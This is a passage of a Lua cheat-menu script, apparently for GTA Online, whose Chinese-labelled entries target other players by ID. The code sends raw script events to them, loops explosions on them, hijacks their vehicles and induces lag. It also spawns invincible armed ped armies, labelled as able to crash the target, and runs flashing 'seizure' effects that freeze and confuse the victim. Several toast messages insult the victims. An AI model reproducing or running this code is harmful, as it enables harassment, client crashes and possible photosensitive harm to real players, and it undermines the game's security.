        util.trigger_script_event(1 << pid, {2041805809, players.user(), 244034214, amount, 0, 0, 0, 0, 0, 0, pid, players.user(), 0, 0})
        util.trigger_script_event(1 << players.user(), {2041805809, players.user(), 244034214, amount, 0, 0, 0, 0, 0, 0, pid, players.user(), 0, 0})
    end)

    GTLP(jindianegao, "大风车", {"Windmills"}, "", function(on_toggle)
        if players.exists(pid) then
        windmills(pid)
        end
    end)

	GTLP(jindianegao, "折腾玩家", {"tossplayers"}, "在玩家身上循环无损伤的爆炸", function()
        local playerCoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid), true)

        SE_add_explosion(playerCoords['x'], playerCoords['y'], playerCoords['z'], 1, 1, SEisExploAudible, SEisExploInvis, 0, true)
    end)	
	local glitch_player_list = GT(jindianegao, "鬼畜玩家", {"glitchdelay"}, "")
    local object_hash = util.joaat("prop_ld_ferris_wheel")
    GTLuaScript.list_select(glitch_player_list, "物体", {}, "选择鬼畜玩家使用的物体.", object_stuff.names, 1, function(index)
        object_hash = util.joaat(object_stuff.objects[index])
    end)

    GTLP(jindianegao, "外星人入侵", {}, "", function(toggle)
        ufffo()
    end)

    GTLP(jindianegao, "外星人爆炸循环", {"ufoloop"}, "模拟外星人入侵", function()
        if players.exists(pid) then
        alien_explosion_loop(pid)
    end
end)

    GTluaScript.slider(glitch_player_list, "物体生成延迟", {"spawndelay"}, "", 0, 3000, 50, 10, function(amount)
        delay = amount
    end)

    local glitchPlayer = false
    local glitchPlayer_toggle
    glitchPlayer_toggle = GTTG(glitch_player_list, "启用", {}, "", function(toggled)
        glitchPlayer = toggled

        while glitchPlayer do
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
            local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
            if v3.distance(ENTITY.GET_ENTITY_COORDS(players.user_ped(), false), players.get_position(pid)) > 1000.0 
            and v3.distance(pos, players.get_cam_pos(players.user())) > 1000.0 then
                util.toast("这傻逼超出你的范围了 没法整. :/")
                menu.set_value(glitchPlayer_toggle, false)
            break end

            if not players.exists(pid) then 
                util.toast("找不到这傻逼,看看他还在战局吗?")
                menu.set_value(glitchPlayer_toggle, false)
            util.stop_thread() end

            local glitch_hash = object_hash
            local poopy_butt = util.joaat("rallytruck")
            request_model(glitch_hash)
            request_model(poopy_butt)
            local stupid_object = entities.create_object(glitch_hash, pos)
            local glitch_vehicle = entities.create_vehicle(poopy_butt, pos, 0)
            ENTITY.SET_ENTITY_VISIBLE(stupid_object, false)
            ENTITY.SET_ENTITY_VISIBLE(glitch_vehicle, false)
            ENTITY.SET_ENTITY_INVINCIBLE(stupid_object, true)
            ENTITY.SET_ENTITY_COLLISION(stupid_object, true, true)
            ENTITY.APPLY_FORCE_TO_ENTITY(glitch_vehicle, 1, 0.0, 10, 10, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
            wait(delay)
            entities.delete_by_handle(stupid_object)
            entities.delete_by_handle(glitch_vehicle)
            wait(delay)    
        end
    end)

    local control_veh = false
    local control_veh_cmd
    control_veh_cmd = GTTG(jindianegao, "控制玩家车辆", {}, "必须是陆地上的车辆方可使用", function(toggle)
        control_veh = toggle

        while control_veh do 
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
            local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
            local player_veh = PED.GET_VEHICLE_PED_IS_IN(ped)
            local class = VEHICLE.GET_VEHICLE_CLASS(player_veh)
            if not players.exists(pid) then util.stop_thread() end

            if v3.distance(ENTITY.GET_ENTITY_COORDS(players.user_ped(), false), players.get_position(pid)) > 1000.0 
            and v3.distance(pos, players.get_cam_pos(players.user())) > 1000.0 then
                util.toast("玩家太远了. :/")
                GTluaScript.set_value(control_veh_cmd, false)
            return end

            if class == 15 then
                util.toast("玩家在直升机上. :/")
                GTluaScript.set_value(control_veh_cmd, false)
            break end
            
            if class == 16 then
                util.toast("玩家在飞机上. :/")
                GTluaScript.set_value(control_veh_cmd, false)
            return end

            if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
                if PAD.IS_CONTROL_PRESSED(0, 34) then
                    while not PAD.IS_CONTROL_RELEASED(0, 34) do
                        TASK.TASK_VEHICLE_TEMP_ACTION(ped, PED.GET_VEHICLE_PED_IS_IN(ped), 7, 100)
                        wait()
                    end
                elseif PAD.IS_CONTROL_PRESSED(0, 35) then
                    while not PAD.IS_CONTROL_RELEASED(0, 35) do
                        TASK.TASK_VEHICLE_TEMP_ACTION(ped, PED.GET_VEHICLE_PED_IS_IN(ped), 8, 100)
                        wait()
                    end
                elseif PAD.IS_CONTROL_PRESSED(0, 32) then
                    while not PAD.IS_CONTROL_RELEASED(0, 32) do
                        TASK.TASK_VEHICLE_TEMP_ACTION(ped, PED.GET_VEHICLE_PED_IS_IN(ped), 23, 100)
                        wait()
                    end
                elseif PAD.IS_CONTROL_PRESSED(0, 33) then
                    while not PAD.IS_CONTROL_RELEASED(0, 33) do
                        TASK.TASK_VEHICLE_TEMP_ACTION(ped, PED.GET_VEHICLE_PED_IS_IN(ped), 28, 100)
                        wait()
                    end
                end
            else
                util.toast("玩家不在车内. :/")
                GTluaScript.set_value(control_veh_cmd, false)
            end
            wait()
        end
    end)

	GTLP(jindianegao, "原子弹轰炸", {"atomicbomb"}, "", function(on_click)
        do
        orbital(pid)
        end
    end)
                   
    GTLP(jindianegao,"火箭雨", {'rockets'}, '', function()
        rain_rockets(pid, false)
        wait(500)
    end)

    GTLP(jindianegao,"将玩家推向前方", {"pushplayerforward"}, "", function()
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(player, false)
        local glitch_hash = util.joaat("prop_shuttering03")
        request_model(glitch_hash)
        local dumb_object_front = entities.create_object(glitch_hash, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 1, 0))
        local dumb_object_back = entities.create_object(glitch_hash, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 0, 0))
        ENTITY.SET_ENTITY_VISIBLE(dumb_object_front, false)
        ENTITY.SET_ENTITY_VISIBLE(dumb_object_back, false)
        wait()
        entities.delete_by_handle(dumb_object_front)
        entities.delete_by_handle(dumb_object_back)
        wait() 
    end)

    player_toggle_loop(jindianegao,pid, "弹飞玩家", {}, "同样适用于载具", function() 
        local poopy_butt = util.joaat("adder")
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(player)
        pos.z -= 10
        request_model(poopy_butt)
        local vehicle = entities.create_vehicle(poopy_butt, pos, 0)
        ENTITY.SET_ENTITY_VISIBLE(vehicle, false)
        wait(250)
        if vehicle ~= 0 then
            ENTITY.APPLY_FORCE_TO_ENTITY(vehicle, 1, 0.0, 0.0, 100, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
            wait(250)
            entities.delete_by_handle(vehicle)
        end
    end)

    local glitchForcefield = false
    local glitchforcefield_toggle
    glitchforcefield_toggle = GTTG(jindianegao, "范围删除", {}, "启用后会将此玩家附近的模型删除", function(toggled)
        glitchForcefield = toggled
        local glitch_hash = util.joaat("p_spinning_anus_s")
        request_model(glitch_hash)

        while glitchForcefield do
            local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
            local playerpos = ENTITY.GET_ENTITY_COORDS(player, false)
            
            if PED.IS_PED_IN_ANY_VEHICLE(player, true) then
                util.toast("玩家在载具中. :/")
                GTluaScript.set_value(glitchforcefield_toggle, false);
            break end
            
            local stupid_object = entities.create_object(glitch_hash, playerpos)
            ENTITY.SET_ENTITY_VISIBLE(stupid_object, false)
            ENTITY.SET_ENTITY_INVINCIBLE(stupid_object, true)
            ENTITY.SET_ENTITY_COLLISION(stupid_object, true, true)
            wait()
            entities.delete_by_handle(stupid_object)
            wait()    
        end
    end)

    GTLP(jindianegao, "烟雾掉帧", {"lag"}, "被少部分菜单检测", function()
        smokelagg(pid) 
    end)

    blurred_screen = GT(jindianegao, "闪屏", {}, "", function(); end)

    GTLP(blurred_screen, "闪屏", {"seizurev1"}, "请远离该玩家", function()
        seizurev1(pid) 
    end)

    GTLP(blurred_screen, "闪屏V2", {"seizurev2"}, "请远离该玩家", function()
        seizurev2(pid) 
    end)

    GTTG(blurred_screen, "闪屏V3", {"seizurev3"}, "请远离该玩家", function(on_toggle)
        if players.exists(pid) then
    if on_toggle then
            menu.trigger_commands("seizurev1" .. players.get_name(pid))
            menu.trigger_commands("seizurev2" .. players.get_name(pid))
    else
            menu.trigger_commands("seizurev1" .. players.get_name(pid))
            menu.trigger_commands("seizurev2" .. players.get_name(pid))
        end
    end
end)

    GTTG(blurred_screen, "闪屏V4", {"seizurev4"}, "请远离该玩家", function(state)
        huaping_1 = state
        if state then
            menu.trigger_commands("freeze "..players.get_name(pid).." on")
            menu.trigger_commands("confuse "..players.get_name(pid).." on")
            while huaping_1 do
        local player_pos = players.get_position(pid)
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "ent_ray_heli_aprtmnt_water", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
                wait()
        end
        else
            menu.trigger_commands("freeze "..players.get_name(pid).." off")
            menu.trigger_commands("confuse "..players.get_name(pid).." off")
        end
	end)

    GTTG(blurred_screen, "闪屏V5", {"seizurev5"}, "请远离该玩家", function(state)
        huaping_2 = state
        if state then
            menu.trigger_commands("freeze "..players.get_name(pid).." on")
            menu.trigger_commands("confuse "..players.get_name(pid).." on")
            while huaping_2 do
        local player_pos = players.get_position(pid)
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
                "ent_sht_paint_cans", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false) 
                wait()
        end
        else
            menu.trigger_commands("freeze "..players.get_name(pid).." off")
            menu.trigger_commands("confuse "..players.get_name(pid).." off")
        end
	end)

    GTTG(blurred_screen, "闪屏V6", {"seizurev6"}, "请远离该玩家", function(state)
        huaping_3 = state
        if state then
            menu.trigger_commands("freeze "..players.get_name(pid).." on")
            menu.trigger_commands("confuse "..players.get_name(pid).." on")
            while huaping_3 do
        local player_pos = players.get_position(pid)
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "ent_dst_inflatable", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
                wait()
        end
        else
            menu.trigger_commands("freeze "..players.get_name(pid).." off")
            menu.trigger_commands("confuse "..players.get_name(pid).." off")
        end
	end)

    GTTG(blurred_screen, "闪屏V7", {"seizurev7"}, "请远离该玩家", function(state)
        huaping_4 = state
        if state then
            menu.trigger_commands("freeze "..players.get_name(pid).." on")
            menu.trigger_commands("confuse "..players.get_name(pid).." on")
            while huaping_4 do
        local player_pos = players.get_position(pid)
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "ent_sht_extinguisher_water", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
                wait()
        end
        else
            menu.trigger_commands("freeze "..players.get_name(pid).." off")
            menu.trigger_commands("confuse "..players.get_name(pid).." off")
        end
	end)

    GTTG(blurred_screen, "闪屏V8", {"seizurev8"}, "请远离该玩家", function(state)
        huaping_5 = state
        if state then
            menu.trigger_commands("freeze "..players.get_name(pid).." on")
            menu.trigger_commands("confuse "..players.get_name(pid).." on")
            while huaping_5 do
        local player_pos = players.get_position(pid)
        request_ptfx_asset("scr_sum2_hal")
        GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "scr_sum2_hal_rider_death_green", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
                wait()
        end
        else
            menu.trigger_commands("freeze "..players.get_name(pid).." off")
            menu.trigger_commands("confuse "..players.get_name(pid).." off")
        end
	end)

    GTTG(blurred_screen, "闪屏V9", {"seizurev9"}, "请远离该玩家", function(state)
        huaping_6 = state
        if state then
            menu.trigger_commands("freeze "..players.get_name(pid).." on")
            menu.trigger_commands("confuse "..players.get_name(pid).." on")
            while huaping_6 do
        local player_pos = players.get_position(pid)
        request_ptfx_asset("scr_sum2_hal")
        GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "scr_sum2_hal_rider_death_blue", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
                wait()
        end
        else
            menu.trigger_commands("freeze "..players.get_name(pid).." off")
            menu.trigger_commands("confuse "..players.get_name(pid).." off")
        end
	end)

    GTTG(blurred_screen, "闪屏V10", {"seizureV10"}, "请远离该玩家", function(state)
        huaping_7 = state
        if state then
            menu.trigger_commands("freeze "..players.get_name(pid).." on")
            menu.trigger_commands("confuse "..players.get_name(pid).." on")
            while huaping_7 do
        local player_pos = players.get_position(pid)
        request_ptfx_asset("scr_sum2_hal")
        GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "scr_sum2_hal_rider_death_greyblack", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
                wait()
        end
        else
            menu.trigger_commands("freeze "..players.get_name(pid).." off")
            menu.trigger_commands("confuse "..players.get_name(pid).." off")
        end
	end)

    GTTG(blurred_screen, "闪屏V11", {"seizurev11"}, "请远离该玩家", function(state)
        huaping_8 = state
        if state then
            menu.trigger_commands("freeze "..players.get_name(pid).." on")
            menu.trigger_commands("confuse "..players.get_name(pid).." on")
            while huaping_8 do
        local player_pos = players.get_position(pid)
        request_ptfx_asset("scr_sum2_hal")
        GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "scr_sum2_hal_rider_death_orange", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
                wait()
        end
        else
            menu.trigger_commands("freeze "..players.get_name(pid).." off")
            menu.trigger_commands("confuse "..players.get_name(pid).." off")
        end
	end)

    GTTG(blurred_screen, "闪屏V12", {"seizurev12"}, "请远离该玩家", function(state)
        huaping_9 = state
        if state then
            menu.trigger_commands("freeze "..players.get_name(pid).." on")
            menu.trigger_commands("confuse "..players.get_name(pid).." on")
            while huaping_9 do
        local player_pos = players.get_position(pid)
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "ent_sht_oil", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
                wait()
        end
        else
            menu.trigger_commands("freeze "..players.get_name(pid).." off")
            menu.trigger_commands("confuse "..players.get_name(pid).." off")
        end
	end)

    GTAC(blurred_screen, "闪屏V13", {'seizurev13'}, "", function(a)
        for i = 0, 500 do
            local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
            pos.z = pos.z + 1
            local skylift = spawn_vehicle(-42959138, pos, 0)
            ENTITY.SET_ENTITY_INVINCIBLE(skylift, true)
            wait(50)
            entities.delete_by_handle(skylift)
            wait(1)
        end
    end)

    local YuleArmy = GT(jindianegao, "圣诞怪兽军队", {}, "")

    GTTG(YuleArmy, "圣诞怪兽", {"toggleyulemonster"}, "可能导致该玩家崩溃", function(on_toggle)
        if players.exists(pid) then
        if on_toggle then
            menu.trigger_commands("yulearmy" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
        else
            menu.trigger_commands("clearyules" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("superclear")
            end  
        end      
    end)

    GTluaScript.click_slider(YuleArmy, "生成圣诞怪兽军队", {"yulearmy"}, "", 1, 48, 48, 1, function(val)
        local player_Yule_army = {}
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
        pos.y = pos.y - 5
        pos.z = pos.z + 1
        local Yule = util.joaat("U_M_M_YuleMonster")
        request_model(Yule)
        for i = 1, val do
        player_Yule_army[i] = entities.create_ped(28, Yule, pos, 0)
        ENTITY.SET_ENTITY_INVINCIBLE(player_Yule_army[i], true)
        PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(player_Yule_army[i], true)
        PED.SET_PED_COMPONENT_VARIATION(player_Yule_army[i], 0, 0, 1, 0)
        TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(player_Yule_army[i], ped, 0, -0.3, 0, 7.0, -1, 10, true)
        WEAPON.GIVE_WEAPON_TO_PED(player_Yule_army[i], util.joaat('WEAPON_CANDYCANE'),  9999, true, true)
        PED.SET_PED_COMBAT_ATTRIBUTES(player_Yule_army[i], 20, true)
        PED.SET_PED_SHOOT_RATE(player_Yule_army[i], 1000)
        wait()
        end 
    end)

    GTAC(YuleArmy, "清除圣诞怪兽", {"clearyules"}, "", function()
        for i, ped in ipairs(entities.get_all_peds_as_handles()) do
            if PED.IS_PED_MODEL(ped, util.joaat("U_M_M_YuleMonster")) then
                entities.delete_by_handle(ped)
            end
        end
    end)

local player_boar_army = {}
local BoarArmy = GT(jindianegao, "野猪")

GTTG(BoarArmy, "循环", {"boarfuck"}, "", function(on_toggle)
    if on_toggle then
        menu.trigger_commands("boararmy" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
        util.toast("Wait 5 Seconds to turn off please.")
    else
        menu.trigger_commands("clearboars" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("superc")
        end        
    end)

GTluaScript.click_slider(BoarArmy, "生成", {"boararmy"}, "", 1, 48, 48, 1, function(val)
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
    pos.y = pos.y - 5
    pos.z = pos.z + 1
    local pussy = util.joaat("A_C_Boar")
    request_model(pussy)
    for i = 1, val do
        player_boar_army[i] = entities.create_ped(28, pussy, pos, 0)
        ENTITY.SET_ENTITY_INVINCIBLE(player_boar_army[i], true)
        PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(player_boar_army[i], true)
        PED.SET_PED_COMPONENT_VARIATION(player_boar_army[i], 0, 0, 1, 0)
        TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(player_boar_army[i], ped, 0, -0.3, 0, 7.0, -1, 10, true)
        wait()
        local pussy = util.joaat("A_C_Pig")
        request_model(pussy)
        for i = 1, val do
            player_boar_army[i] = entities.create_ped(28, pussy, pos, 0)
            ENTITY.SET_ENTITY_INVINCIBLE(player_boar_army[i], true)
            PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(player_boar_army[i], true)
            PED.SET_PED_COMPONENT_VARIATION(player_boar_army[i], 0, 0, 1, 0)
            TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(player_boar_army[i], ped, 0, -0.3, 0, 7.0, -1, 10, true)
            wait()
        end
    end 
end)

GTAC(BoarArmy, "删除", {"clearboars"}, "", function()
    for i, ped in ipairs(entities.get_all_peds_as_handles()) do
        if PED.IS_PED_MODEL(ped, util.joaat("A_C_Boar")) then
            entities.delete_by_handle(ped)
            for i, ped in ipairs(entities.get_all_peds_as_handles()) do
                if PED.IS_PED_MODEL(ped, util.joaat("A_C_Pig")) then
                    entities.delete_by_handle(ped)
                end
            end
        end
    end
end)

local player_Rabbit_army = {}
local RabbitArmy = GT(jindianegao, "兔子", {}, "")

GTTG(RabbitArmy, "循环", {"togglerabbit"}, "", function(on_toggle)
    if on_toggle then
        menu.trigger_commands("rabbitarmy" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
        util.toast("")
    else
        menu.trigger_commands("clearrabbits" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("superc")
        end        
    end)

GTluaScript.click_slider(RabbitArmy, "生成", {"rabbitarmy"}, "", 1, 48, 48, 1, function(val)
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
    pos.y = pos.y - 5
    pos.z = pos.z + 1
    local Rabbit = util.joaat("A_C_Rabbit_02")
    request_model(Rabbit)
    for i = 1, val do
        player_Rabbit_army[i] = entities.create_ped(28, Rabbit, pos, 0)
        ENTITY.SET_ENTITY_INVINCIBLE(player_Rabbit_army[i], true)
        PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(player_Rabbit_army[i], true)
        PED.SET_PED_COMPONENT_VARIATION(player_Rabbit_army[i], 0, 0, 1, 0)
        TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(player_Rabbit_army[i], ped, 0, -0.3, 0, 7.0, -1, 10, true)
        PED.SET_PED_COMBAT_ATTRIBUTES(player_Rabbit_army[i], 20, true)
        PED.SET_PED_SHOOT_RATE(player_Rabbit_army[i], 1000)
        wait()
    end 
end)

GTAC(RabbitArmy, "删除", {"clearrabbits"}, "", function()
    for i, ped in ipairs(entities.get_all_peds_as_handles()) do
        if PED.IS_PED_MODEL(ped, util.joaat("A_C_Rabbit_02")) then
            entities.delete_by_handle(ped)
        end
    end
end)

local player_furry_army = {}
local FurryArmy = GT(jindianegao, "小熊", {}, "")

GTTG(FurryArmy, "循环", {"furryfuck"}, "", function(on_toggle)
    if on_toggle then
        menu.trigger_commands("furryarmy" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
        util.toast("")
    else
        menu.trigger_commands("clearfurrys" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("superc")
        end        
    end)

GTluaScript.click_slider(FurryArmy, "生成", {"furryarmy"}, "", 1, 48, 48, 1, function(val)
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
    pos.y = pos.y - 5
    pos.z = pos.z + 1
    local furry = util.joaat("IG_Furry")
    request_model(furry)
    for i = 1, val do
        player_furry_army[i] = entities.create_ped(28, furry, pos, 0)
        ENTITY.SET_ENTITY_INVINCIBLE(player_furry_army[i], true)
        PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(player_furry_army[i], true)
        PED.SET_PED_COMPONENT_VARIATION(player_furry_army[i], 0, 0, 1, 0)
        TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(player_furry_army[i], ped, 0, -0.3, 0, 7.0, -1, 10, true)
        PED.SET_PED_COMBAT_ATTRIBUTES(player_furry_army[i], 20, true)
        PED.SET_PED_SHOOT_RATE(player_furry_army[i], 1000)
        wait()
    end 
end)

GTAC(FurryArmy, "删除", {"clearfurrys"}, "", function()
    for i, ped in ipairs(entities.get_all_peds_as_handles()) do
        if PED.IS_PED_MODEL(ped, util.joaat("IG_Furry")) then
            entities.delete_by_handle(ped)
        end
    end
end)

    local player_pussy_army = {}
    local PussyArmy = GT(jindianegao, "怪人", {}, "")

    GTTG(PussyArmy, "循环", {"deerfuck"}, "", function(on_toggle)
        if on_toggle then
            menu.trigger_commands("pussyarmy" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
            util.toast("")
        else
            menu.trigger_commands("clearpussys" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("superc")
            end        
        end)

    GTluaScript.click_slider(PussyArmy, "生成", {"pussyarmy"}, "", 1, 48, 48, 1, function(val)
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
        pos.y = pos.y - 5
        pos.z = pos.z + 1 
        local pussy = util.joaat("a_c_cat_01")
        request_model(pussy)
        for i = 1, val do
            player_pussy_army[i] = entities.create_ped(28, pussy, pos, 0)
            ENTITY.SET_ENTITY_INVINCIBLE(player_pussy_army[i], true)
            PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(player_pussy_army[i], true)
            PED.SET_PED_COMPONENT_VARIATION(player_pussy_army[i], 0, 0, 1, 0)
            TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(player_pussy_army[i], ped, 0, -0.3, 0, 7.0, -1, 10, true)
            wait()
        end 
    end)

    GTAC(PussyArmy, "删除", {"clearpussys"}, "", function()
        for i, ped in ipairs(entities.get_all_peds_as_handles()) do
            if PED.IS_PED_MODEL(ped, util.joaat("a_c_cat_01")) then
                entities.delete_by_handle(ped)
            end
        end
    end)

    local player_fathoes_army = {}
    local FathoesArmy = GT(jindianegao, "疯子", {}, "")

    GTTG(FathoesArmy, "循环", {"fathoefuck"}, "", function(on_toggle)
        if on_toggle then
            menu.trigger_commands("fathoesarmy" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
            util.toast("")
        else
            menu.trigger_commands("clearfathoes" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("superc")
            end        
        end)

    GTluaScript.click_slider(FathoesArmy, "生成", {"fathoesarmy"}, "", 1, 50, 49, 1, function(val)
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
        pos.y = pos.y - 5
        pos.z = pos.z + 1
        local fathoes = util.joaat("IG_Fooliganz_01")
        request_model(fathoes)
        for i = 1, val do
            player_fathoes_army[i] = entities.create_ped(28, fathoes, pos, 0)
            ENTITY.SET_ENTITY_INVINCIBLE(player_fathoes_army[i], true)
            PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(player_fathoes_army[i], true)
            PED.SET_PED_COMPONENT_VARIATION(player_fathoes_army[i], 0, 0, 1, 0)
            TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(player_fathoes_army[i], ped, 0, -0.3, 0, 7.0, -1, 10, true)
            wait()
        end 
    end)

    GTAC(FathoesArmy, "删除", {"clearfathoes"}, "", function()
        for i, ped in ipairs(entities.get_all_peds_as_handles()) do
            if PED.IS_PED_MODEL(ped, util.joaat("IG_Fooliganz_01")) then
                entities.delete_by_handle(ped)
            end
        end
    end)

    local ToplessArmy = GT(jindianegao, "婊子", {}, "")


    GTTG(ToplessArmy, "循环", {"toplessfuck"}, "", function(on_toggle)
        if on_toggle then
            menu.trigger_commands("toplessarmy" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
            util.toast("")
        else
            menu.trigger_commands("cleartoplesshoes" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("toggletppeds" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("skydivepeds" .. PLAYER.GET_PLAYER_NAME(pid))
            menu.trigger_commands("superc")
            end        
        end)
    
GTAC(ToplessArmy, "生成", {"dancingtopless"}, "", function(on)
    local hooker
    local c
    c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0, 1, 0.0)
    request_model_load(util.joaat('a_f_y_topless_01'))
